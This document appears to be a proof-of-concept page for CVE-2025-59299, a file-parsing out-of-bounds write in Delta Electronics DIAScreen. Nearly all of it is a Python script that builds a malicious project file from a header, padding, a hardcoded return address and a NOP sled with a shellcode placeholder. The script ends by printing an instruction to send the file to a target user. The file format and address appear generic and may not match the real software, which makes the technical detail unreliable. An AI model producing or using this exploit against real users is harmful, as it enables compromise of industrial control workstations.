CVE-2025-59299：Delta Electronics DIAScreen文件解析越界写入漏洞

# CVE-2025-59299 - Delta Electronics DIAScreen File Parsing Out-of-Bounds Write PoC # This is a conceptual PoC demonstrating the vulnerability exploitation technique import struct def generate_malicious_diascreen_file(output_path): """ Generate a malicious DIAScreen project file that triggers an out-of-bounds write vulnerability during file parsing. The vulnerability exists in the file parsing routine of DIAScreen where user-supplied file data is not properly validated before being processed, leading to an out-of-bounds write condition. """ # File header mimicking legitimate DIAScreen project file format header = b'DIASCREEN_PROJECT\x00' header += struct.pack('<I', 0x00010000) # Version field header += struct.pack('<I', 0x00000001) # File type identifier # Malicious payload - oversized data to trigger out-of-bounds write # The parser allocates a fixed-size buffer but reads user-controlled length overflow_size = 0x10000 # 64KB overflow payload # NOP sled + shellcode placeholder (replace with actual shellcode) nop_sled = b'\x90' * 1024 # Return address overwrite (example: targeting typical Windows address) # In a real exploit, this would be replaced with the actual address # to redirect execution to the NOP sled return_address = struct.pack('<I', 0x7C86467B) # Example address # Construct the overflow payload padding = b'A' * 256 # Buffer padding payload = padding + return_address + nop_sled payload += b'\x00' * (overflow_size - len(payload)) # Combine all parts malicious_file = header + struct.pack('<I', overflow_size) + payload with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious DIAScreen file generated: {output_path}") print(f"[+] File size: {len(malicious_file)} bytes") print(f"[+] Overflow payload size: {overflow_size} bytes") print("[!] Send this file to a target user and have them open it with DIAScreen") if __name__ == '__main__': generate_malicious_diascreen_file('malicious.dsp')